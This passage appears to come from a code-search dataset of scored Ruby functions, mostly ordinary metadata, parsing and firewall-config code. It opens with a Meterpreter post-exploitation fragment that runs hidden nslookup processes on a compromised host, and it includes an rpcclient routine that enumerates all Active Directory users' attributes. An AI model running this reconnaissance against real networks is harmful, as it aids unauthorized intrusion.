dest + \"-general-record-lookup.txt\"\n\tprint_status(\"Getting MX and NS Records for Domain #{domain}\")\n\tfilewrt(dest,\"SOA, NS and MX Records for Domain #{domain}\")\n\ttypes = [\"SOA\",\"NS\",\"MX\"]\n\tmxout = []\n\tresults = []\n\tgarbage = []\n\ttypes.each do |t|\n\tbegin\n\t\tr = session.sys.process.execute(\"nslookup -type=#{t} #{domain}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\twhile(d = r.channel.read)\n\t\t\tmxout << d\n\t\tend\n\t\tr.channel.close\n\t\tr.close\n\t\tresults = mxout.join.split(/\\n/)\n\t\tresults.each do |rec|\n\t\t\t\tif rec.match(/\\s*internet\\saddress\\s\\=\\s/)\n\t\t\t\t\tgarbage << rec.split(/\\s*internet\\saddress\\s\\=/)\n\t\t\t\t\tprint_status(\"#{garbage[0].join.sub(\" \",\" \")} #{t} \")\n\t\t\t\t\tfilewrt(dest,garbage[0].join.sub(\" \",\" \")+\" #{t} \")\n\t\t\t\t\tgarbage.clear\n\t\t\t\tend\n\t\t\t\tgarbage.clear\n\t\tend\n\n\trescue ::Exception => e\n \t\tprint_status(\"The following Error was encountered: #{e.class} #{e}\")\n\tend\n\tend\nend", "title": "" }, { "docid": "8500cd70550d7dde5c6fba9903488c48", "score": "0.52758515", "text": "def fetch_urn(osn)\n Log.info \"Fetching: #{@owner_code} : #{osn}'s OID from OLIVIA #{OLIVIA.host}\"\n oid = nil\n urns = nil\n actionable_urn = nil\n if (oid = get_oid(osn, @owner_code))\n get_urns(oid).each{|urn| actionable_urn = urn }\n elsif not (urns = get_drs2_pds_urns(osn, @owner_code)).empty?\n urns.each{|urn| actionable_urn = urn }\n elsif not (urns = get_drs2_pds_urns(\"#{osn}-METS\", @owner_code)).empty?\n urns.each{|urn| actionable_urn = urn } \n elsif not (urns = get_drs2_pds_urns(\"#{osn}_METS\", @owner_code)).empty?\n urns.each{|urn| actionable_urn = urn } \n elsif not (urns = get_drs2_pds_urns(\"#{osn}-mets\", @owner_code)).empty?\n urns.each{|urn| actionable_urn = urn } \n elsif not (urns = get_drs2_pds_urns(\"#{osn}_mets\", @owner_code)).empty?\n urns.each{|urn| actionable_urn = urn } \n end\n Log.info \"Done trying to fetch #{@owner_code} : #{osn}'s OID\"\n actionable_urn\n end", "title": "" }, { "docid": "f1d0aea1da6ef62f0758d02fc6f7424e", "score": "0.51701885", "text": "def uciFromInput(input, ark)\n\n uci = Nokogiri::XML(\"<uci:record xmlns:uci='http://www.cdlib.org/ucingest'/>\").root\n\n # Top-level attributes\n uci[:id] = ark.sub(%r{ark:/?13030/}, '')\n uci[:dateStamp] = DateTime.now.iso8601\n uci[:peerReview] = input['isPeerReviewed'] ? \"yes\" : \"no\"\n uci[:state] = 'new'\n uci[:stateDate] = DateTime.now.iso8601\n input[:type] and uci[:type] = convertPubType(input[:type])\n input[:pubRelation] and uci[:pubStatus] = convertPubRelation(input[:pubRelation])\n input[:contentVersion] and uci[:externalPubVersion] = convertFileVersion(input[:contentVersion])\n input[:embargoExpires] and uci[:embargoDate] = input[:embargoExpires]\n\n # Special pseudo-field to record feed metadata link\n input[:sourceFeedLink] and uci.find!('feedLink').content = input[:sourceFeedLink]\n\n # Author and editor metadata.\n input[:authors] and transformPeople(uci, \"author\", input[:authors])\n if input[:contributors]\n transformPeople(uci, \"editor\", input[:contributors].select { |contr| contr[:role] == 'EDITOR' })\n transformPeople(uci, \"advisor\", input[:contributors].select { |contr| contr[:role] == 'ADVISOR' })\n end\n\n # Other top-level fields\n input[:sourceName] and uci.find!('source').content = input[:sourceName].sub(\"elements\", \"oa_harvester\")\n uci.find!('title').content = input[:title]\n input[:abstract] and uci.find!('abstract').content = input[:abstract]\n (input[:fpage] || input[:lpage]) and convertExtent(uci, input)\n input[:keywords] and convertKeywords(uci, input[:keywords])\n uci.find!('rights').content = convertRights(input[:rights])\n input[:grants] and convertFunding(uci, input[:grants])\n uci.find!('customCitation').content = input[:customCitation]\n\n # Things that go inside <context>\n contextEl = uci.find! 'context'\n contextEl.build { |xml|\n input[:units] and assignSeries(xml, input[:units])\n input[:localIDs] and convertLocalIDs(uci, xml, input[:localIDs]) # also fills in top-level doi field\n input[:issn] and xml.issn(input[:issn])\n input[:isbn] and xml.isbn(input[:isbn]) # for books and chapters\n input[:journal] and xml.journal(input[:journal])\n input[:proceedings] and xml.proceedings(input[:proceedings])\n input[:volume] and xml.volume(input[:volume])\n input[:issue] and xml.issue(input[:issue])\n input[:issueTitle] and xml.issueTitle(input[:issueTitle])\n input[:issueDate] and xml.issueDate(input[:issueDate])\n input[:issueDescription] and xml.issueDescription(input[:issueDescription])\n input[:issueCoverCaption] and xml.issueCoverCaption(input[:issueCoverCaption])\n input[:sectionHeader] and xml.sectionHeader(input[:sectionHeader])\n input[:orderInSection] and xml.publicationOrder(input[:orderInSection])\n input[:bookTitle] and xml.bookTitle(input[:bookTitle]) # for chapters\n input[:externalLinks] and convertExtLinks(xml, input[:externalLinks])\n input[:ucpmsPubType] and xml.ucpmsPubType(input[:ucpmsPubType])\n input[:dateSubmitted] and xml.dateSubmitted(input[:dateSubmitted])\n input[:dateAccepted] and xml.dateAccepted(input[:dateAccepted])\n input[:datePublished] and xml.datePublished(input[:datePublished])\n }\n\n # Content and supp files\n if input[:contentLink] || input[:suppFiles]\n uci.find!('content').build { |xml|\n input[:contentLink] and addContent(xml, input)\n (input[:suppFiles] or input[:dataAvailability]) and addSuppFiles(xml, input)\n }\n end\n\n # Things that go inside <history>\n history = uci.find! 'history'\n input[:sourceName] and history[:origin] = input[:sourceName].sub(\"elements\", \"oa_harvester\")\n history.at(\"escholPublicationDate\") or history.find!('escholPublicationDate').content = Date.today.iso8601\n history.at(\"submissionDate\") or history.find!('submissionDate').content = Date.today.iso8601\n history.find!('originalPublicationDate').content = input[:published]\n\n # All done.\n return uci\nend", "title": "" }, { "docid": "5912788fdf69e43abe14df3ff94cf2a3", "score": "0.51642305", "text": "def affi_object_well_formed(affi_object, name_list, parsed_complex, auth_id)\n # problem: affi_object nil\n if affi_object == nil\n puts \"\\n********************* Affiliation is nil **********************\\n\"\n print name_list\n # problem: missing country\n elsif affi_object.country == nil\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************Missing country**********************\\n\"\n affi_object.print()\n return false\n # problem: missing name\n elsif affi_object.name == nil\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************ Missing name **********************\\n\"\n affi_object.print()\n return false\n # problem: missing author or author_affiliation_id incorrect\nelsif affi_object.article_author_id == nil or \\\n affi_object.article_author_id != auth_id\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************ Wrong Author ID **********************\\n\"\n affi_object.print()\n return false\n else\n return true\n end\nend", "title": "" }, { "docid": "d6c9d2528b31d164bf65934ad6a9bbb9", "score": "0.50395525", "text": "def decode_uniprot_entry (ent)\n\t\tentryHash = Hash.new\n\n\t\tif ent.nil?\n\t\t\treturn entryHash\n\t\tend\n\n\t\tname = ent.elements['name']\n#\t\tentryHash['name'] = name.text\n\n\t\tpdb_ids = ent.elements.collect(\"dbReference[@type='PDB']\") { |pdb|\n\t\t\tpdb.attribute('id')\n\t\t}\n\t\tif pdb_ids.length > 0\n\t\t\tentryHash['pdbimg'] = '<img src=\"http://www.rcsb.org/pdb/images/'+pdb_ids[0].value+'_asr_r_80.jpg\" '\t\t\t\t\t\t\t\t\t+ 'width=\"80\" height=\"80\" />'\n\t\telse\n\t\t\tentryHash['pdbimg'] = '<img src=\"/images/target_placeholder.png\" width=\"80\" height=\"80\" />'\n\t\tend\n\n\t\tprot_full_name = ent.elements.collect('protein/recommendedName/fullName') { |name|\n\t\t\tname.text\n\t\t}\n\t\tentryHash['proteinFullName'] = prot_full_name[0]\n\n\t\taccList = ent.elements.collect('accession') { |acc| acc.text }\n\t\taccList.map! { |acc| '<a href=\"http://www.uniprot.org/uniprot/'+acc+'\" target=\"_blank\">'+acc+'</a>' }\n\t\tentryHash['accessions'] = accList\n\n\t\tgene_pri_name = ent.elements.collect(\"gene/name[@type='primary']\") { |gene| gene.text }\n#\t\tentryHash['primaryName'] = gene_pri_name[0].nil? ? '': gene_pri_name[0]\n\t\tentryHash['genes'] = gene_pri_name\n\n\t\tgene_syn_names = ent.elements.collect(\"gene/name[@type='synonym']\") { |gene| gene.text }\n#\t\tentryHash['synonim_name'] = gene_syn_name[0].nil? ? '': gene_syn_name[0]\n\t\tentryHash['genes'] << gene_syn_names\n\t\tentryHash['genes'].flatten!\n\n#\t\tkeywords = ent.elements.collect('keyword') {|keyw| keyw.text }\n#\t\tentryHash['keywords'] = keywords\n\n\n\t\torg_sci = ent.elements.collect(\"organism/name[@type='scientific']\") { |orgName| orgName.text }\n\t\tentryHash['organismSciName'] = org_sci[0].nil? ? '': org_sci[0]\n\n\t\torg_comm = ent.elements.collect(\"organism/name[@type='common']\") { |orgName| orgName.text }\n#\t\t\tentryHash['organism_comm_name'] = org_comm[0].nil? ? '': org_comm[0]\n\n\t\tfunc_comment = ent.elements.collect(\"comment[@type='function']/text\") { |comment| comment.text }\n\t\tentryHash['function'] = func_comment[0].nil? ? '': func_comment[0]\n\n\t\tnum_of_refs = 0\n\t\tent.elements.each(\"reference\") { |ref| num_of_refs += 1 }\n#\t\tentryHash['numOfRefs'] = num_of_refs\n\n\t\tseq = ent.elements['sequence'] #\t\tseq.attributes (=> {attribute1=value1,... })\n#\t\tentryHash['sequence'] = {'length' => seq.attributes['length'],\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'mass' => seq.attributes['mass'],\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'seq' => seq.text.gsub!(/\\s/, '') }\n\n\t\tentryHash\n\tend", "title": "" }, { "docid": "fc5f86eabf551f6a2982edb77921eb82", "score": "0.503387", "text": "def ou\n @ou\n end", "title": "" }, { "docid": "57ef3dd4cd426a507a15d55365cdbdc0", "score": "0.5022048", "text": "def get_rule_detail(h_filters, filtertype, filter, term)\n\n # Check filtertype and assign correct global hash ($h_filters or $h_filters6) to filters\n case filtertype\n when :ipv4_input_filter\n filters = $h_filters\n when :ipv4_output_filter\n filters = $h_filters\n when :ipv6_input_filter\n filters = $h_filters6\n when :ipv6_output_filter\n filters = $h_filters6\n else\n p \"get_rule_detail: filtertype not supported - #{filtertype}\" if $opts[:debug]\n end\n\n # Initialize vars, sets, etc\n result = '' ### To pass status back to calling method\n srcaddr = Set.new\n dstaddr = Set.new\n sport = Set.new\n dport = Set.new\n protocol = Set.new\n dscp = Set.new\n svcnegate = 'false' ### if type icmp-except need to negate the rule\n\n # Update corresponding hash based on object type from term's sources hash branch\n filters[filter][term][:source].each do |object, objtype|\n\n case objtype\n when :'source-address'\n srcaddr.add(object)\n\n when :'destination-address'\n dstaddr.add(object)\n\n when :address\n srcaddr.add(object)\n dstaddr.add(object)\n\n when :'source-port'\n sport.add(object)\n\n when :'destination-port'\n dport.add(object)\n\n when :port\n dport.add(object)\n\n when :'source-prefix-list'\n srcaddr.add(object)\n\n # The following code snipet is no longer used, but can be activated to add each address in the prefix list\n # to the dstaddr set. Instead, we are using the name to reference an address group that should\n # have been created for each prefix list\n # $h_prefix_lists[object].each do |addr|\n # srcaddr.add(addr)\n # end\n\n when :'destination-prefix-list'\n dstaddr.add(object)\n\n # The following code snipet is no longer used, but can be activated to add each address in the prefix list\n # to the dstaddr set. Instead, we are using the name to reference an address group that should\n # have been created for each prefix list\n # $h_prefix_lists[object].each do |addr|\n # dstaddr.add(addr)\n # end\n\n when :'prefix-list'\n srcaddr.add(object)\n dstaddr.add(object)\n\n when :protocol\n protocol.add(object)\n\n when :'next-header'\n protocol.add(object)\n\n when :'icmp-type'\n protocol.add(:icmp)\n dport.add(object)\n\n when :'icmp-type-except'\n protocol.add(:icmp)\n dport.add(object)\n svcnegate = 'true'\n\n when :dscp\n dscp.add(object)\n\n else\n result += \"get_rule_detail: object type: #{objtype}, not supported for filter: #{filter}, term: #{term}\"\n p \"get_rule_detail: object type: #{objtype}, not supported for filter: #{filter}, term: #{term}\"\\\n if $opts[:verbose] || $opts[:debug]\n end\n end\n\n action = h_filters[filter][term][:action]\n\n return srcaddr, dstaddr, sport, dport, protocol, action, svcnegate, result, dscp\nend", "title": "" }, { "docid": "c2a0ff5622fc9c19a572d0c4763a00db", "score": "0.5009846", "text": "def processa_us\n puts(format(\"%<n>4i TRADES\\tKRAKEN\\t\\tINSERIDAS ust\", n: apius.trades.empty? ? 0 : dml(ust_ins)))\n puts(format(\"%<n>4i LEDGER\\tKRAKEN\\t\\tINSERIDAS usl\", n: apius.ledger.empty? ? 0 : dml(usl_ins)))\n end", "title": "" }, { "docid": "45550d01f7629e272f056af331cb2741", "score": "0.5009309", "text": "def extract_department(dept_uri, vivo_loc, username, password)\n client = VivoWebApi::Client.new(vivo_loc)\n client.authenticate(username, password)\n\n person_construct = <<-EOH\nPREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\nPREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\nPREFIX foaf: <http://xmlns.com/foaf/0.1/>\nPREFIX core: <http://vivoweb.org/ontology/core#>\n\nconstruct { \n ?person core:personInPosition ?pos .\n ?person foaf:firstName ?firstName .\n ?person foaf:lastName ?lastName .\n ?person core:authorInAuthorship ?authorship .\n ?person rdf:type ?type .\n ?person rdfs:label ?label \n}\nwhere {\n <#{dept_uri}> core:organizationForPosition ?pos .\n ?person core:personInPosition ?pos .\n\n ?person foaf:firstName ?firstName .\n ?person foaf:lastName ?lastName .\n ?person rdf:type ?type .\n ?person rdfs:label ?label .\n\n optional { ?person core:authorInAuthorship ?authorship }\n}\n EOH\n\n authorship_construct = <<-EOH\nPREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\nPREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\nPREFIX core: <http://vivoweb.org/ontology/core#>\n\nconstruct { \n ?authorship core:linkedAuthor ?person .\n ?authorship core:authorRank ?authorRank .\n ?authorship core:linkedInformationResource ?publication .\n\n ?authorship rdf:type ?type .\n ?authorship rdfs:label ?label \n}\nwhere {\n <#{dept_uri}> core:organizationForPosition ?pos .\n ?person core:personInPosition ?pos .\n\n ?authorship core:linkedAuthor ?person .\n ?authorship core:linkedInformationResource ?publication .\n\n ?authorship rdf:type ?type .\n optional { ?authorship rdfs:label ?label }\n optional { ?authorship core:authorRank ?authorRank }\n}\n EOH\n\n publication_construct = <<-EOH\nPREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\nPREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\nPREFIX core: <http://vivoweb.org/ontology/core#>\nPREFIX bibo: <http://purl.org/ontology/bibo/>\n\nconstruct {\n ?publication rdf:type ?type .\n ?publication rdfs:label ?label . \n\n ?authorship core:linkedInformationResource ?publication .\n ?publication core:informationResourceInAuthorship ?authorship .\n ?publication bibo:pageStart ?pageStart .\n ?publication bibo:pageEnd ?pageEnd .\n ?publication bibo:volume ?volume .\n ?publication bibo:issue ?issue .\n ?publication core:yearMonth ?yearMonth .\n ?publication core:doi ?doi\n}\nwhere {\n <#{dept_uri}> core:organizationForPosition ?pos .\n ?person core:personInPosition ?pos .\n ?person core:authorInAuthorship ?authorship .\n ?authorship core:linkedInformationResource ?publication .\n\n ?publication rdf:type ?type .\n ?publication rdfs:label ?label . \n\n ?authorship core:linkedInformationResource ?publication .\n ?publication core:informationResourceInAuthorship ?authorship .\n optional { ?publication bibo:pageStart ?pageStart }\n optional { ?publication bibo:pageEnd ?pageEnd }\n optional { ?publication bibo:volume ?volume }\n optional { ?publication bibo:issue ?issue }\n optional { ?publication core:yearMonth ?yearMonth }\n optional { ?publication core:doi ?doi }\n}\n EOH\n\n person_results = client.execute_sparql_construct(username, password, \n person_construct)\n authorship_results = client.execute_sparql_construct(username, password, \n authorship_construct)\n publication_results = client.execute_sparql_construct(username, password, \n publication_construct)\n\n results = []\n person_results.each do |statement| \n results << statement\n end\n\n authorship_results.each do |statement| \n results << statement\n end\n\n publication_results.each do |statement| \n results << statement\n end\n\n return results\nend", "title": "" }, { "docid": "b60b0be9158efd97051effea195a1369", "score": "0.5008227", "text": "def extract_5utr(acc2sym, outfp, tbl, ofs=1)\n infp = open(\"| gunzip -c #{tbl} | gcut -f #{ofs}-\")\n while line = infp.gets\n cols = line.rstrip.split(/\\t/)\n # no ORF ~ CDS start != CDS stop, since the start position is 0-based\n if cols[5] != cols[6]\n lefts = cols[8].split(/,/)\n rights = cols[9].split(/,/)\n if cols[2] == '+'\n cdsleft = cols[5].to_i\n 0.upto(lefts.length-1) do |i|\n left = lefts[i].to_i\n right = rights[i].to_i\n if right < cdsleft\n outfp.puts [cols[1], left, right, acc2sym[cols[0]], 0, '+'].join(\"\\t\")\n elsif left < cdsleft\n outfp.puts [cols[1], left, cdsleft, acc2sym[cols[0]], 0, '+'].join(\"\\t\")\n end\n end\n else\n cdsright = cols[6].to_i\n (rights.length-1).downto(0) do |i|\n left = lefts[i].to_i\n right = rights[i].to_i\n if cdsright < left\n outfp.puts [cols[1], left, right, acc2sym[cols[0]], 0, '-'].join(\"\\t\")\n elsif cdsright < right\n outfp.puts [cols[1], cdsright, right, acc2sym[cols[0]], 0, '-'].join(\"\\t\")\n end\n end\n end\n end\n end\n infp.close\nend", "title": "" }, { "docid": "152ec17e94dbe2987ddff999a7e41a2a", "score": "0.50080544", "text": "def create_address_objects\n\n # Initialize vars\n a_addresses = Array.new\n a_prefix_lists = Array.new\n config = String.new\n filterused = nil\n\n\n # Combining ipv4 and ipv6 filters to a single hash to process both simultaneously\n filters = $h_filters.merge($h_filters6)\n\n filters.each_key do |filtername|\n\n # check_if_filter_used returns 1 if this filter is used by an interface 0 if not\n filterused = check_if_filter_used(filtername)\n\n unless filterused\n p \"create_address_objects: filter is not used by an interface. skipping filtername: #{filtername}\"\\\n if $opts[:debug]\n next\n end\n\n filters[filtername].each_key do |termname|\n filters[filtername][termname][:source].each do |sourcename, sourcetype|\n if sourcetype == :'source-address' || sourcetype == :'destination-address'\n\n # Adding all to new hash in order to remove duplicates\n a_addresses << sourcename\n end\n\n # For rules reference prefix-lists need to find the prefix list and iterate through all of the\n # defined addressses, creating an address object for each\n if sourcetype == :'source-prefix-list' ||\\\n sourcetype == :'destination-prefix-list' ||\\\n sourcetype == :'prefix-list'\n a_prefix_lists << sourcename\n a_prefix_lists.uniq.each do |prefixlist|\n if $h_prefix_lists.has_key?(prefixlist)\n $h_prefix_lists[prefixlist].each do |prefixadds|\n a_addresses << prefixadds\n end\n else\n p \"create_address_objects: Referenced prefix #{sourcename} could not be found.\\\\\n Filter: #{filtername}, term: #{termname}\"\n end\n end\n end\n end\n end\n end\n\n # create a fg config entry for each uniq address identified\n config += \"#### Address Objects ####\\n\"\n config += \"config firewall address\\n\"\n a_addresses.uniq.each do |x|\n\n fgaddress = <<-EOS\n edit #{x}\n set type subnet\n set subnet #{x}\n next\n EOS\n\n # Add each output from Herdoc above to config var (will pass this back to main)\n config += fgaddress\n end\n\n config += \"end\\n\"\n config += \"#### Addresses Groups###\\n\"\n config += \"config firewall addrgroup\\n\"\n\n $h_prefix_lists.each do |prefixlist, prefixadds|\n\n # Convert array to string usable in addrgroup config\n adds = String.new\n prefixadds.each {|x| adds += \"#{x.to_s} \"}\n\n fggroups = <<-EOS\n edit #{prefixlist}\n set member #{adds}\n next\n EOS\n\n config += fggroups\n end\n\n # Return this pieces of FG config to main for additional methods to add to it\n config += \"end\\n\\n\"\n\nend", "title": "" }, { "docid": "ee927502c251b167dc506cf6cfafcc30", "score": "0.49896696", "text": "def upc_e; end", "title": "" }, { "docid": "6dc52ba8b5bfb6f8e168e8bdc08b1f21", "score": "0.49803436", "text": "def make_substs(str)\r\n t = str\r\n t = dosub(t, ':client-name:', @data[:client_name])\r\n t = dosub(t, ':client-email:', @data[:client_email])\r\n t = dosub(t, ':client-phone:', @data[:client_phone])\r\n t = dosub(t, ':aref:', @data[:aref]) if @data[:aref]\r\n t = dosub(t, ':propid:', @data[:propid]) if @data[:propid]\r\n t = dosub(t, ':price:', @data[:price]) if @data[:price]\r\n t = dosub(t, ':cagent-firstname:', @data[:cagent].firstname)\r\n t = dosub(t, ':magent-firstname:', @data[:magent].firstname)\r\n t = dosub(t, ':advertiser-email:', @data[:advertiser_email]) if @e.privad\r\n t = dosub(t, ':advertiser-name:', @data[:advertiser_name]) if @e.privad\r\n t = dosub(t, ':agent-firstname:', @data[:agent].firstname) if @data[:agent]\r\n t = dosub(t, ':reglink:', @data[:reglink]) if @data[:reglink]\r\n t = dosub(t, ':enqdata:', @data[:enqdata]) if @data[:enqdata]\r\n t = dosub(t, ':deptreg:', @data[:region]) if @data[:region]\r\n t = dosub(t, ':fffp:', \"1st-for-French-Property.co.uk\") \r\n t = dosub(t, ':hkf:', \"Howard Farmer\")\r\n t = dosub(t, ':louisa:', \"Louisa Allen\")\r\n \r\n t\r\n end", "title": "" }, { "docid": "f72ef9bcfb39d6592f489b01c3623b0f", "score": "0.4944345", "text": "def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n skip_accounts = ['CORP$']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n if skip_accounts.include? entry.sAMAccountName.first.to_s\n next\n end\n\n begin\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :mail => entry.mail.first.to_s,\n :pwdays => 0,\n :notify => false,\n }\n rescue\n puts \"Caught exception: #{entry.inspect}\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n acct[:pwdays] = numDays\n $accounts.push acct\n end\n\n end\nend", "title": "" }, { "docid": "279fae85e36c0c4f7d8880a15093b570", "score": "0.49111065", "text": "def restore_admin4\n if File.exist?('/Library/Receipts/com.company.removedadmins') then\n users=read_admins\n users.each do |u|\n puts \"Restoring admin rights for #{u}\"\n %x(nicl -raw /var/db/netinfo/local.nidb -append /groups/admin users #{u})\n end\n else\n users=get_users\n users.each do |u|\n puts \"Restoring admin rights for #{u}\"\n %x(nicl -raw /var/db/netinfo/local.nidb -append /groups/admin users #{u})\n end\n end\nend", "title": "" }, { "docid": "9bc82ddd55703dfe7daf1e0ab2a5f7fa", "score": "0.4893886", "text": "def compareDepartmentMetadataWithOwningCollection(fix)\n setLogger(\"#{ENV['DSPACE_HOME']}/log/compareDepartmentWithCollectionName.log\")\n\n collections = DSpace.fromString($root).collections\n\n# colmap - maps shortened collection's name to collection pointers\n colmap = {}; collections.each {|c| colmap[shortColectionName(c)] = c}\n#\n# go over all archived items with the given year_metadata_field equal to year\n items = getClassYearItems()\n\n mismatch = 0\n nerror = 0\n multival = 0\n items.each do |i|\n begin\n if i.archived? then\n ownerName = shortColectionName(i.getOwningCollection)\n\n vals = i.getMetadata(\"pu\", \"department\", nil, \"*\")\n if (vals.length > 1) then\n $logger.warn(\"ITEM #{i.getHandle}: MULTIPLE pu.department values; checking first only\")\n multival = multival + 1\n end\n val = vals[0]\n if ownerName == val.value then\n $logger.info(\"ITEM #{i.getHandle}: pu.department='#{val.value}' matches collection '#{ownerName}'\")\n else\n mismatch = mismatch +1\n $logger.info(\"ITEM #{i.getHandle}: pu.department='#{val.value}' DOES NOT match collection '#{ownerName}'\")\n if (fix) then\n if (vals.length == 1) then\n i.setMetadataSingleValue('pu', \"department\", nil, '*', ownerName);\n i.update()\n $logger.info(\"ITEM #{i.getHandle}: pu.department='#{val.value}' FIXED to match collection '#{ownerName}'\")\n else\n $logger.error(\"ITEM #{i.getHandle}: pu.department='#{val.value}' has other values NOT FIXING\")\n end\n end\n end\n end\n end\n end\n $logger.info(\"SUMMARY items with multiple department values #{multival}\")\n $logger.info(\"SUMMARY mismatches #{mismatch} \")\n $logger.info(\"SUMMARY errors #{nerror} \")\nend", "title": "" }, { "docid": "55096e22ea346a750f98a5ef1f7690e7", "score": "0.48799193", "text": "def grab_attr(domain,username,password,dc_ip)\n cmd = `rpcclient -U '#{domain}\\\\\\\\#{username}%#{password}' #{dc_ip} -c lsaquery | head -n 1`\n ip_check(dc_ip,cmd)\n\n output = \"#{domain}-attributes.txt\"\n temp_file = \"temp1\"\n\n cmd = `rpcclient -U '#{domain}\\\\\\\\#{username}%#{password}' #{dc_ip} -c enumdomusers | cut -d \" \" -f 2 | sed 's/rid:\\\\[//g' | sed 's/\\\\]//g' > #{temp_file}`\n\n puts \"Looking up user account attrubutes for each user.\"\n puts \"\"\n\n user_arr = Array.new\n r = File.open(temp_file)\n r.each_line {|line| user_arr.push line.chomp}\n del_temp = `rm #{temp_file}`\n\n File.open(output, 'w') do |file|\n user_arr.peach(2) do |user|\n puts \"Attributes for RID: #{user}\"\n attrib = `rpcclient -U '#{domain}\\\\\\\\#{username}%#{password}' #{dc_ip} -c 'queryuser #{user}'`\n puts attrib\n file.write(\"Attributes for RID: #{user}\\n#{attrib}\")\n end\n end\n puts \"[+] Success! All users attributes have been stored in #{output}\"\nend", "title": "" }, { "docid": "f62afdf33f2e958874a52c0efc1c308a", "score": "0.4879112", "text": "def gen_unix_attributes(ad,domain,entry)\n ua = Hash.new\n ua[:uidnumber] = ad.find_next_uid(domain)\n ua[:mssfu30name] = entry[:samaccountname][0]\n ua[:mssfu30nisdomain] = domain.split(\".\").first\n ua[:gidnumber] = \"100\"\n ua[:unixhomedirectory] = \"/home/\" + entry[:samaccountname][0]\n ua[:loginshell] = \"/bin/bash\"\n return ua\n end", "title": "" }, { "docid": "c390a5ae7e28e21372d9d49a955fa6d0", "score": "0.48747718", "text": "def gen_hostrecord(host:, rack:, u:, net:, ip: nil, extra_aliases: [], switch: false, **_ignore)\n set_rack_ip_offsets\n set_subnets\n rack.downcase!\n if u.is_a?(String)\n u_str = u\n u = ( /\\A\\D.*\\z/ =~ u ? 0 : u.to_i )\n else\n u_str = \"%02d\"%u\n end\n aliases = []\n # puts \"#{host} #{rack} #{u} #{net}\"\n #\n # Legacy Cop node names and legacy adm nodes\n if @cop_index.key?(host)\n if net == 'api' # Want the default hostname to be on this interface\n hostname = \"ntr-#{host}.nectar.auckland.ac.nz\" # ntr-copXX\n aliases = [\n \"#{host}\", # copXX\n \"akld2#{rack}u#{u_str}\", # akld2h18uXX\n \"#{rack}u#{u_str}\", # h18uXX\n \"ntr-#{host}-#{net}\", # ntr-copXX-api\n \"#{host}-#{net}\", # copXX-api\n \"akld2#{rack}u#{u_str}-#{net}\", # akld2h18uXX-api\n \"#{rack}u#{u_str}-#{net}\", # h18uXX-api\n ]\n extra_aliases.each do |ea|\n aliases << ea unless aliases.include?(ea)\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n else\n hostname = \"ntr-#{host}-#{net}.nectar.auckland.ac.nz\" # ntr-copXX-net\n aliases = [\n \"#{host}-#{net}\", # copXX-net\n \"akld2#{rack}u#{u_str}-#{net}\", # akld2h18uXX-net\n \"#{rack}u#{u_str}-#{net}\" # h18uXX-net\n ]\n extra_aliases.each do |ea|\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n end\n ip ||= ( @ip_subnet[net] + IPv4.new(@cop_index[host]).to_i ).to_s\n #\n # Legacy storage node naming\n elsif @sto_index.key?(host) \n if net == 'ceph' # Want the default hostname to be on this interface\n hostname = \"ntr-#{host}.nectar.auckland.ac.nz\" # ntr-stoXX\n aliases = [ \n \"akld2#{rack}u#{u_str}\", # akld2h18uXX\n \"#{rack}u#{u_str}\", # h18uXX\n \"ntr-#{host}-#{net}\", # ntr-stoXX-ceph\n \"#{host}-#{net}\", # stoXX-ceph\n \"akld2#{rack}u#{u_str}-#{net}\", # akld2h18uXX-ceph\n \"#{rack}u#{u_str}-#{net}\", # h18uXX-ceph\n ] \n extra_aliases.each do |ea|\n aliases << ea unless aliases.include?(ea)\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n else\n hostname = \"ntr-#{host}-#{net}.nectar.auckland.ac.nz\" # ntr-stoXX-net\n aliases = [ \n \"#{host}-#{net}\", # stoXX-net\n \"akld2#{rack}u#{u_str}-#{net}\", # akld2h18uXX-net\n \"#{rack}u#{u_str}-#{net}\", # h18uXX-net\n ] \n extra_aliases.each do |ea|\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n end\n ip ||= (@ip_subnet[net] + IPv4.new(@sto_index[host]).to_i ).to_s\n #\n # new storage node naming, with legacy aliases\n elsif @new_sto_index.key?(host)\n if net == 'ceph' # Want the default hostname to be on this interface\n hostname = 